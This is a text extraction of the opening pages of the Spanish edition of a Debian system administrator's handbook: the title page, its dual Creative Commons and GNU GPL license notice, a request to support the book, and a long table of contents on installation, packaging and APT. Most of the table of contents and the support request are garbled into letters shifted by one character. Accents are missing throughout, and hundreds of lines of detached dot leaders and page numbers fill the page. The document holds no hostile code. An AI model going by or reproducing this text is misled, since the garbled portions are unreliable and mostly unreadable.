Вы находитесь на странице: 1из 519

El libro del administrador de Debian

Raphel Hertzog y Roland Mas


Copyright 2003-2013 Raphal Hertzog
Copyright 2006-2013 Roland Mas
Copyright 2012-2013 Freexian SARL

ISBN: 979-10-91414-02-9 (edicin de papel en ingls)


ISBN: 979-10-91414-03-6 (libro electrnico en ingls)
Este libro est disponible bajo los trminos de dos licencias compatibles con las directrices de software
libre de Debian.
Aviso de licencia Creative Commons: Este libro es licenciado bajo la licencia Creative Commons
Atribucin-CompartirIgual 3.0 Unported.
http://creativecommons.org/licenses/by-sa/3.0/deed.es
Aviso de Licencia Pblica General GNU: Este libro es documentacin libre: puede redistribuirlo y/o
modificarlo bajo los trminos de la Licencia Pblica General GNU (GNU General Public License) como es
publicada por la Free Software Foundation, ya sea la versin 2 de dicha licencia o (a su criterio) cualquier
versin posterior.
Se distribuye este libro con el afn que ser til, pero SIN GARANTA ALGUNA; an sin la garanta implcita
de COMERCIABILIDAD o APTITUD PARA UN PROPSITO PARTICUAR. Revise la Licencia Pblica General
GNU para ms detalles.
Junto con este programa debera haber recibido una copia de la Licencia Pblica General GNU. Si no es
as, revise http://www.gnu.org/licenses/.

Mostrar su aprecio
&TUF MJCSP FT QVCMJDBEP CBKP VOB MJDFODJB MJCSF QPSRVF RVFSFNPT RVF UPEPT
TF CFOFGJDJFO EF M 4JO FNCBSHP NBOUFOFSMP UPNB UJFNQP Z NVDIP FTGVFS
[P Z BQSFDJBNPT RVF OPT BHSBEF[DBO QPS FMMP 4J FM MJCSP MF QBSFDJ WBMJPTP
DPOTJEFSF DPOUSJCVJS B TV NBOVUFODJO DPOUJOVB CJFO DPNQSBOEP VOB DPQJB
FO QBQFM P SFBMJ[BOEP VOB EPOBDJO B USBWT EFM TJUJP PGJDJBM EFM MJCSP
http://debian-handbook.info

OEJDF HFOFSBM
 &M QSPZFDUP %FCJBO
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

1
2
2
4
4
5
5
7
10
10
15
17
17
19
21
23
24
24
25
25
25
26
27
29

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

33
34
34
35
37
37
38

 $PFYJTUFODJB FO FOUPSOPT IFUFSPHOFPT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .


 *OUFHSBDJO DPO FRVJQPT 8JOEPXT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

41
42
42

.......................
 6O TJTUFNB PQFSBUJWP NVMUJQMBUBGPSNB . . . . . . . . . .
 -B DBMJEBE EFM TPXBSF MJCSF . . . . . . . . . . . . . . .
 &M NBSDP MFHBM VOB PSHBOJ[BDJO TJO OJNP EF MVDSP . . .
 -PT EPDVNFOUPT EF GVOEBDJO . . . . . . . . . . . . . .
 &M DPNQSPNJTP IBDJB MPT 6TVBSJPT . . . . . . . . . . . .
 -BT EJSFDUSJDFT EF TPXBSF MJCSF EF %FCJBO . . . . . . . .
 &M GVODJPOBNJFOUP JOUFSOP EFM QSPZFDUP %FCJBO . . .
 -PT EFTBSSPMMBEPSFT %FCJBO . . . . . . . . . . . . . . . .
 &M QBQFM BDUJWP EF MPT VTVBSJPT . . . . . . . . . . . . . .
 &RVJQPT Z TVCQSPZFDUPT . . . . . . . . . . . . . . . . . .
4VCQSPZFDUPT %FCJBO FYJTUFOUFT . . . . . . . . . . . . .
(SVQPT BENJOJTUSBUJWPT . . . . . . . . . . . . . . . . .
&RVJQPT EF EFTBSSPMMP FRVJQPT USBOTWFSTBMFT . . . . . . . .
 4FHVJS MBT OPUJDJBT EF %FCJBO . . . . . . . . . . . . . . .
 &M QBQFM EF MBT EJTUSJCVDJPOFT . . . . . . . . . . . . . . .
 &M JOTUBMBEPS debian-installer . . . . . . . . . . . . .
 -B CJCMJPUFDB EFM TPXBSF . . . . . . . . . . . . . . . . .
 $JDMP EF WJEB EF VOB WFSTJO . . . . . . . . . . . . . . . .
 &M FTUBEP FYQFSJNFOUBM &YQFSJNFOUBM . . . . . . . . . . .
 &M FTUBEP JOFTUBCMF 6OTUBCMF . . . . . . . . . . . . . . .
 .JHSBDJO B 5FTUJOH . . . . . . . . . . . . . . . . . . . .
 -B QSPNPDJO EFTEF 5FTUJOH B 4UBCMF . . . . . . . . . . .
  FT %FCJBO

 1SFTFOUBDJO EFM DBTP EF FTUVEJP


.
.
.
.
 %JTUSJCVDJPOFT DPNFSDJBMFT Z HVJBEBT QPS MB DPNVOJEBE .
 1PS RV %FCJBO 8IFF[Z . . . . . . . . . . . . . . . . .
 /FDFTJEBEFT EF 5* EF SQJEP DSFDJNJFOUP
 1MBO NBFTUSP . . . . . . . . . . . . . . . . . .
 1PS RV VOB EJTUSJCVDJO (/6-JOVY .
 1PS RV MB EJTUSJCVDJO %FCJBO . . . . .

.
..
..
..

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

 "OMJTJT EF MB JOTUBMBDJO FYJTUFOUF Z NJHSBDJO

.........
 *OUFHSBDJO DPO PUSPT FRVJQPT -JOVY6OJY . . . .
 $NP NJHSBS . . . . . . . . . . . . . . . . . . . . .
 3FDPOPDJNJFOUP F JEFOUJGJDBDJO EF TFSWJDJPT . . .
-B SFE Z MPT QSPDFTPT . . . . . . . . . . . . . .
 3FTQBMEPT EF MB DPOGJHVSBDJO . . . . . . . . . .
 "EPQDJO EF VO TFSWJEPS %FCJBO FYJTUFOUF . . . .
 *OTUBMBDJO EF %FCJBO . . . . . . . . . . . . . . .
 *OUFHSBDJO DPO FRVJQPT .BD`04

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

 *OTUBMBDJO Z DPOGJHVSBDJO EF MPT TFSWJDJPT TFMFDDJPOBEPT

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

42
43
43
43
44
44
45
46
47

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

49
50
50
51
52
52
53
53
55
55
56
56
57
57
57
58
58
59
59
60
61
64
65
65
66
67
67
69
69
70
71
71
72
73

 *OTUBMBDJO
 .UPEPT EF JOTUBMBDJO . . . . . . . . . . .
 *OTUBMBDJO EFTEF $%30.%7%30. .
 "SSBORVF EFTEF VOB MMBWF 64# . . . . . .
 *OTUBMBDJO B USBWT EF BSSBORVF QPS SFE .
 0USPT NUPEPT EF JOTUBMBDJO . . . . . .
 *OTUBMBDJO QBTP B QBTP . . . . . . . . . . .
 "SSBORVF F JOJDJP EFM JOTUBMBEPS . . . . .
 4FMFDDJO EFM JEJPNB . . . . . . . . . . .
 4FMFDDJO EFM QBT . . . . . . . . . . . . .
 4FMFDDJO EF MB EJTUSJCVDJO EF UFDMBEP . .
 %FUFDDJO EF IBSEXBSF . . . . . . . . . .
 $BSHB EF DPNQPOFOUFT . . . . . . . . . .
 %FUFDDJO EF IBSEXBSF EF SFE . . . . . .
 $POGJHVSBDJO EF SFE . . . . . . . . . . .
 $POGJHVSBDJO EFM SFMPK . . . . . . . . . .
 $POUSBTFB EFM BENJOJTUSBEPS . . . . . .
 $SFBDJO EFM QSJNFS VTVBSJP . . . . . . .
 %FUFDDJO EF EJTDPT Z PUSPT EJTQPTJUJWPT .

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
 *OJDJP EF MB IFSSBNJFOUB EF QBSUJDJPOBEP .
1BSUJDJPOBEP HVJBEP . . . . . . . . . . .
1BSUJDJPOBEP NBOVBM . . . . . . . . . . .

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

$POGJHVSBDJO EF EJTQPTJUJWPT NVMUJEJTDP 3"*% QPS TPXBSF

.
........
 *OTUBMBDJO EFM TJTUFNB CBTF . . . . . . . . . . . .
 $POGJHVSBDJO EFM HFTUPS EF QBRVFUFT apt
. . . .
 $PODVSTP EF QPQVMBSJEBE EF QBRVFUFT %FCJBO . .
 4FMFDDJO EF QBRVFUFT QBSB JOTUBMBDJO . . . . . .
 *OTUBMBDJO EFM HFTUPS EF BSSBORVF (36# . . . . .
 'JOBMJ[BDJO EF MB JOTUBMBDJO Z SFJOJDJBEP . . . . .
 -VFHP EFM QSJNFS BSSBORVF . . . . . . . . . . . . . .
 *OTUBMBDJO EF TPXBSF BEJDJPOBM . . . . . . . . . .
 "DUVBMJ[BDJO EFM TJTUFNB . . . . . . . . . . . . . .
$POGJHVSBDJO EFM HFTUPS EF WPMNFOFT MHJDPT -7.

$POGJHVSBDJO EF QBSUJDJPOFT DJGSBEBT

*7

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

 4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFO


UBMFT
 &TUSVDUVSB EF VO QBRVFUF CJOBSJP . .
 .FUBJOGPSNBDJO EF VO QBRVFUF . . .
 %FTDSJQDJO FM BSDIJWP control . . .
%FQFOEFODJBT FM DBNQP %FQFOET . . .
$POGMJUPT FM DBNQP $POGMJDUT . . . .
*ODPNQBUJCJMJEBEFT FM DBNQP #SFBLT .

.
.
.
.
.
.
.

.
.
.
.
.
.
&MFNFOUPT QSPWJTUPT FM DBNQP 1SPWJEFT
.
3FFNQMB[P EF BSDIJWPT FM DBNQP 3FQMBDFT .
 4DSJQUT EF DPOGJHVSBDJO . . . . . . . . .
*OTUBMBDJO Z BDUVBMJ[BDJO . . . . . . . .
&MJNJOBDJO EF VO QBRVFUF . . . . . . . .

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

 4VNBT EF WFSJGJDBDJO kDIFDLTVN{


MJTUB EF BSDIJWPT EF DPOGJHVSBDJO

 &TUSVDUVSB EF VO QBRVFUF GVFOUF . .


 'PSNBUP . . . . . . . . . . . . . . .
 6UJMJ[BDJO EFOUSP EF %FCJBO . . . .
 .BOJQVMBDJO EF QBRVFUFT DPO dpkg
 *OTUBMBDJO EF QBRVFUFT . . . . . . .
 &MJNJOBDJO EF VO QBRVFUF . . . . .

....
....
....
...
....
....

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

 $POTVMUB EF MB CBTF EF EBUPT EF dpkg F JOTQFDDJO EF BSDIJWPT .deb

...........
 $PNQBUJCJMJEBE NVMUJBSRVJUFDUVSB . . . . . . .
"DUJWBDJO EF NVMUJBSRVJUFDUVSB . . . . . . . .
$BNCJPT SFMBDJPOBEPT DPO NVMUJBSRVJUFDUVSB . . .
 $PFYJTUFODJB DPO PUSPT TJTUFNBT QBRVFUFT . .
 "SDIJWP EF SFHJTUSP EF dpkg

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

75
. 76
. 78
. 78
. 79
. 81
. 81
. 81
. 84
. 84
. 85
. 86
. 87
. 88
. 88
. 91
. 92
. 92
. 94
. 94
. 98
. 98
. 98
. 99
. 100

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

103
104
104
106
107
107
107
108
108
109
110
111
112
112
112
114
115

 .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15


.
.
.
.
.
.
.
 3FQPTJUPSJPT QBSB VTVBSJPT EF 5FTUJOH6OTUBCMF .
&M SFQPTJUPSJP &YQFSJNFOUBM . . . . . . . . . . .

 $POUFOJEP EFM BSDIJWP sources.list


 4JOUBYJT . . . . . . . . . . . . . . . .
 3FQPTJUPSJPT QBSB VTVBSJPT EF 4UBCMF .
"DUVBMJ[BDJPOFT EF TFHVSJEBE . . . . .
"DUVBMJ[BDJPOFT EF 4UBCMF . . . . . .
"DUVBMJ[BDJPOFT QSPQVFTUBT . . . . .
3FUSPBEBQUBDJPOFT QBSB 4UBCMF . . . .

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.

 3FDVSTPT OP PGJDJBMFT BQUHFUPSH Z NFOUPSTEFCJBOOFU


 1SPYZ DBDI QBSB QBRVFUFT %FCJBO .
 -PT QSPHSBNBT aptitude Z apt-get
 *OJDJBMJ[BDJO . . . . . . . . . . . .
 *OTUBMBDJO Z FMJNJOBDJO . . . . . .
 "DUVBMJ[BDJO EFM TJTUFNB . . . . . .
 0QDJPOFT EF DPOGJHVSBDJO . . . . .

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

OEJDF HFOFSBM

............
 5SBCBKP DPO WBSJBT EJTUSJCVDJPOFT . . . . . . . . . . . . . . .
 4FHVJNJFOUP EF QBRVFUFT JOTUBMBEPT BVUPNUJDBNFOUF . . .
 -B PSEFO apt-cache . . . . . . . . . . . . . . . . . . . . . . .
 *OUFSGBDFT aptitude synaptic . . . . . . . . . . . . . . . .
 aptitude . . . . . . . . . . . . . . . . . . . . . . . . . . .
"ENJOJTUSBDJO EF SFDPNFOEBDJPOFT TVHFSFODJBT Z UBSFBT . . . .
.FKPSFT BMHPSJUNPT EF SFTPMVDJO . . . . . . . . . . . . . . .
 synaptic . . . . . . . . . . . . . . . . . . . . . . . . . . .
 $PNQSPCBDJO EF MB BVUFOUJDJEBE EF VO QBRVFUF . . . .
 "DUVBMJ[BDJO EF VOB EJTUSJCVDJO FTUBCMF B MB TJHVJFOUF
 1SPDFEJNJFOUP SFDPNFOEBEP . . . . . . . . . . . . . . . . .
 .BOFKP EF QSPCMFNBT USBT VOB BDUVBMJ[BDJO . . . . . . . . .
 .BOVUFODJO EF VO TJTUFNB BDUVBMJ[BEP . . . . . . . . . .
 "DUVBMJ[BDJPOFT BVUPNUJDBT . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF dpkg . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF "15 . . . . . . . . . . . . . . . . . . . .
 $POGJHVSBDJO EF debconf . . . . . . . . . . . . . . . . . .
 .BOFKP EF JOUFSBDDJPOFT EF MOFB EF SEFOFT . . . . . . . . .
 -B DPNCJOBDJO NJMBHSPTB . . . . . . . . . . . . . . . . . .
 #TRVFEB EF QBRVFUFT . . . . . . . . . . . . . . . . . . . . .
 (FTUJO EF QSJPSJEBEFT EF MPT QBRVFUFT

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.

116
119
120
121
122
122
124
125
125
126
128
128
129
130
132
132
132
133
133
133
134

 3FTPMVDJO EF QSPCMFNBT Z CTRVFEB EF JOGPSNBDJO SFMF


WBOUF
139
 'VFOUFT EF EPDVNFOUBDJO . . .
 1HJOBT EF NBOVBM . . . . . . .
 %PDVNFOUPT JOGP . . . . . . . .
 %PDVNFOUBDJO FTQFDGJDB . . .
 4JUJPT XFC . . . . . . . . . . . .
 5VUPSJBMFT )0850
. . . . . .
 1SPDFEJNJFOUPT DPNVOFT . . . . .
 $POGJHVSBDJO EF VO QSPHSBNB .

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
 .POJUPSJ[BDJO EF MP RVF IBDFO MPT EFNPOJPT .
 1FEJEP EF BZVEB FO VOB MJTUB EF DPSSFP . . . .

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

 3FQPSUF EF VO FSSPS DVBOEP VO QSPCMFNB FT EFNBTJBEP EJGDJM

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.
.

140
140
142
143
143
144
145
145
146
147
148

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

151
152
152
153
154
156
157
158
158

 $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO


 $POGJHVSBDJO EFM TJTUFNB FO PUSP JEJPNB .
 $POGJHVSBDJO EFM JEJPNB QSFEFUFSNJOBEP . .
 $POGJHVSBDJO EFM UFDMBEP . . . . . . . . . .
 .JHSBDJO B 65' . . . . . . . . . . . . . .
 $POGJHVSBDJO EF SFE . . . . . . . . . . . . . .
 *OUFSGB[ &UIFSOFU . . . . . . . . . . . . . . .

.
.
.
.
.
.
 $POFYJO DPO 111 B USBWT EF VO NEFN 145/ .
 $POFYJO B USBWT EF VO NEFN "%4- . . . . . .

7*

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
